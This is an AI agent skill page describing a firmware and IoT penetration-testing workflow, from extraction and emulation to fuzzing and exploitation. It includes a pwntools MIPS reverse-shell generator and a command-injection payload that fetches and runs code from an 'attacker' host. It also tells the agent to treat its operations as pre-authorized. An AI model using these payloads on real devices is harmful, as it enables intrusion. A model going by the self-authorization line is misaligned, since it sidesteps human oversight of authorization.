SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsfirmware-pentest

firmware-pentest

Security & auditing

View repository

Updated 10-16 09:45

About this skill

Firmware / IoT penetration chain (Firmware Pentest)

ACTION REQUIRED (execute immediately after reading)

  1. NOW: Read ../field-journal/precedent-pentest.md — confirm that this skill's operations are authorized routine operations
  2. NOW: confirm whether the current task falls within this skill's applicable scope
  3. NEXT: Read ../tool-index.md, verify tool availability and actual paths
  4. NEXT: when tools are missing, call bootstrap; do not guess paths
  5. ACT: enter the first step of the "workflow" and execute it; do not stop at the confirmation state

Applicable Scope

The following tasks enter this skill:

  1. Obtain a firmware file(.bin / .img / .trx / .chk / OTA zip), need from zero to RCE
  2. Router/camera/IoT device auditing — need to discover known CVEs and undisclosed vulnerabilities in bulk
  3. Encrypted/packed firmware, need to find the bootloader decryption routine or hardware dump
  4. Need to run it without touching hardware(QEMU full-system emulation / Firmadyne / FAT)
  5. Fuzz the services that have been emulated（AFL++ qemu mode / boofuzz）
  6. Hardware interface access（UART / JTAG / SPI flash dump）

Division of labor with other skills

Scenario What to use
Obtain firmware from zero, run the full FSTM chain This skill
Only do static reverse engineering of a single ELF/so reverse-engineering/、ida-reverse/、radare2/
Do Web/RCE exploitation after emulation is up pentest-tools/、attack-chain/
Hands-on hardware interfaces (UART/JTAG/SPI) Stage 2 section of this skill + patterns-hardware.md
APK / Android firmware (including boot.img) apk-reverse/(first strip boot.img, then use this skill)
Cross-version firmware symbol migration binary-diff/

Core Principles

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

Key judgment:

  • Extraction failure does not equal firmware encryption; first run binwalk v2, binwalk v3, unblob, jefferson, and ubi_reader all the way through
  • EMBA produces an HTML report with one command, saving 80% of the effort; the remaining 20% is the real vulnerability hunting
  • When emulation fails to start, first suspect missing NVRAM, NIC name mismatch,/dev/ missing node
  • ARM / MIPS payload must distinguish endianness (mipsel vs mipseb); do not use the wrong one

OWASP FSTM Nine-Stage Workflow

Stage 1 — Information Gathering

Collect model, chip, SDK, and publicly disclosed CVEs.

# FCC ID 查询（美区设备）
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Output: chip model, SDK source (the SDK determines whether binwalk can succeed in one shot).

Stage 2 — Obtaining Firmware

Four routes: official website download, OTA packet capture, dump after landing a shell via UART, physical read of SPI flash.

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入（USB-TTL，常用波特率 57600 / 115200）
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Analyzing Firmware

Before decompressing, first look at the header, entropy, strings, and recognizable signatures.

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extracting the Filesystem

See references/extraction-methodology.md。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Static Analysis of the Filesystem (Filesystem Analysis)

One-click scan with EMBA, see references/emba-automated-analysis.md。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual supplement:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulating Firmware

See references/emulation-and-fuzz.md。

# 用户态：跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统：FAT（Firmadyne 封装版）
sudo fat.py firmware.bin

Stage 7 — Dynamic Analysis

Once emulated, attach a debugger, capture traffic, and run fuzzing.

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — Runtime Analysis

Attach a debugger on real hardware, or perform coverage-guided fuzzing in the emulated environment.

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Exploitation

Write a PoC, generate a payload, and land a root shell.

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Typical Scenario Examples

Scenario 1: Full-chain analysis of ordinary router firmware (TP-Link / Xiaomi Router / OpenWrt derivatives)

固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

Scenario 2: Encrypted firmware (find the bootloader decryption routine)

固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

Notes

  • Endianness: MIPS routers commonly use mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series); don't use the wrong qemu binary
  • NVRAM: If httpd crashes immediately after emulation starts → 90% of the time it's because nvram_get can't get a value; Firmadyne has a libnvram hook, and FAT includes it by default
  • EMBA is not a silver bullet: Don't blindly trust a pile of CVEs it outputs; verify version strings and actual exploitation conditions
  • AFL++ qemu mode is slow: First recompile the target with afl-clang-lto (if source is available); it's 5-10x faster
  • Dump before operating on real hardware: Before bricking a physical device, a full flash dump is essential; use flashrom / ch341a / minipro
  • Legal boundaries: Only your own devices, SRC-authorized targets, CTFs, and public test machines are fair game; corporate production devices require written authorization
  • field-journal write-back: After completing each firmware, record the chip model, SDK, whether binwalk succeeded, and whether emulation succeeded, so the same series can be reused directly next time

On-Demand Bootstrap

Tool List

Tool Purpose Automatic Installation
binwalk v3 Main extraction (Rust rewrite) ✓
binwalk v2 Compatible with legacy plugins ✓
unblob Fallback extraction ✓
jefferson JFFS2 extraction ✓
ubi_reader UBI / UBIFS extraction ✓
EMBA Automated analysis framework ✓
Firmadyne Full-system emulation ✓
FAT (Firmware Analysis Toolkit) Firmadyne wrapper ✓
qemu-user-static User-mode emulation ✓
qemu-system-* Full-system emulation ✓
AFL++ Fuzzing ✓
pwntools Exploit scripts ✓
flashrom SPI flash read/write ✓
picocom UART serial port ✓

Installation command

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3（Rust 版）
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows users

The firmware penetration chain strongly depends on Linux tools; recommended:

  • WSL2 Ubuntu 22.04 (sufficient for most scenarios)
  • Or a standalone Kali / Ubuntu virtual machine
  • EMBA must run on Linux; Firmadyne / FAT must run on Linux

Routing context

Upstream entry: skills/SKILL.md(master control),routing.md Trigger conditions: The task involves firmware files, IoT devices, embedded vulnerability hunting, or router auditing Downstream exits:

  • Deep static analysis of a single binary → reverse-engineering/、ida-reverse/、radare2/
  • Web RCE / post-exploitation after emulation → pentest-tools/、attack-chain/
  • Cross-version firmware symbol migration → binary-diff/
  • Hardware interface hands-on reference → patterns-hardware.md
  • APK / boot.img handling → apk-reverse/

Peer associations: pentest-tools/(coordinated during the Web exploitation phase),attack-chain/(Cross-stage attack chain planning)

Reference document:

  • references/extraction-methodology.md — Extract details and failure fallback
  • references/emba-automated-analysis.md — EMBA full workflow
  • references/emulation-and-fuzz.md — Simulation + fuzz hands-on

Task completion self-check (MUST pass before claiming completion)

  • Did I execute every step in the workflow (rather than only reading)?
  • Did I, based on tool-index use real tool paths?
  • Did I produce reproducible evidence (commands/scripts/screenshots/reports)?
  • Did I complete and write back the Checklist items required by RULES?